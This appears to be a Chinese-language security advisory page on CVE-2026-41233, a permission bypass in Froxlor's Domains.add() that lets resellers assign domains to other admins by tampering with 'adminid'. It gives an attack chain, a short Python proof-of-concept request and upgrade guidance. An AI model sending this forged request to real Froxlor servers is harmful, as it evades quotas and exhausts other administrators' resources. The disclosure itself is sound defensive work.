IPBUF安全漏洞报告
English
CVE-2026-41233 CVSS 5.4 中危

Froxlor 域名创建权限绕过漏洞 (CVE-2026-41233)

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41233
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Froxlor

相关标签

权限绕过Froxlor逻辑缺陷配额绕过

漏洞概述

Froxlor是一款开源服务器管理软件。在2.3.6版本之前,其`Domains.add()`接口存在权限绕过漏洞。由于缺乏对`adminid`参数的有效验证,没有`customers_see_all`权限的转售商可以将新创建的域名归属给任意管理员。这导致转售商可以绕过自身的域名配额限制,并可能耗尽其他管理员的资源配额。

技术细节

该漏洞源于Froxlor在处理域名添加请求时的逻辑缺陷。在`Domains.add()`方法中,程序直接从用户输入获取`adminid`参数,并将其用于后续的域名归属处理,而未验证当前操作者(转售商)是否拥有查看所有客户的权限(即`customers_see_all`权限)。

在正常逻辑下,转售商只能在其自身的配额范围内添加域名,且域名应归属于自己。然而,由于缺少验证,转售商可以通过篡改请求包中的`adminid`字段,将其指向系统中存在的任意管理员ID。系统在处理时,会错误地增加目标管理员的`domains_used`计数器,而非发起请求的转售商计数器。这不仅允许转售商突破自身的数量限制,还能通过大量创建域名归咎于他人,导致目标管理员资源耗尽,造成拒绝服务或权限混乱。

攻击链分析

STEP 1
步骤1
攻击者以转售商(Reseller)身份登录Froxlor管理面板。
STEP 2
步骤2
攻击者枚举或猜测系统中其他管理员的ID(adminid)。
STEP 3
步骤3
攻击者发送创建域名的请求到`Domains.add()`接口,并篡改`adminid`参数为受害管理员的ID。
STEP 4
步骤4
服务器端未校验权限,直接将域名分配给受害管理员,并增加受害管理员的配额计数。
STEP 5
步骤5
攻击者成功绕过自身配额限制,且受害管理员的资源被消耗。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for Froxlor CVE-2026-41233 # Description: Bypass domain quota by tampering with the 'adminid' parameter. import requests TARGET_URL = "http://target-froxlor-installation/admin_domains.php" SESSION_COOKIE = "PHPSESSID=attacker_session_id" # Reseller session def exploit(): # Payload data to create a new domain # The 'adminid' is set to a target Admin ID (e.g., 1) instead of the Reseller's ID payload = { "page": "domains", "action": "add", "domain": "evil.example.com", "adminid": "1", # Vulnerable parameter: Target Admin ID "customerid": "1" # Target Customer ID under that Admin } headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(TARGET_URL, data=payload, headers=headers) if response.status_code == 200: print("[+] Domain potentially added to target admin. Check response.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit()

影响范围

Froxlor < 2.3.6

防御指南

临时缓解措施
建议立即升级到修复版本。若无法升级,应严格监控转售商的域名创建行为,并审计日志中是否存在异常的adminid参数提交。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表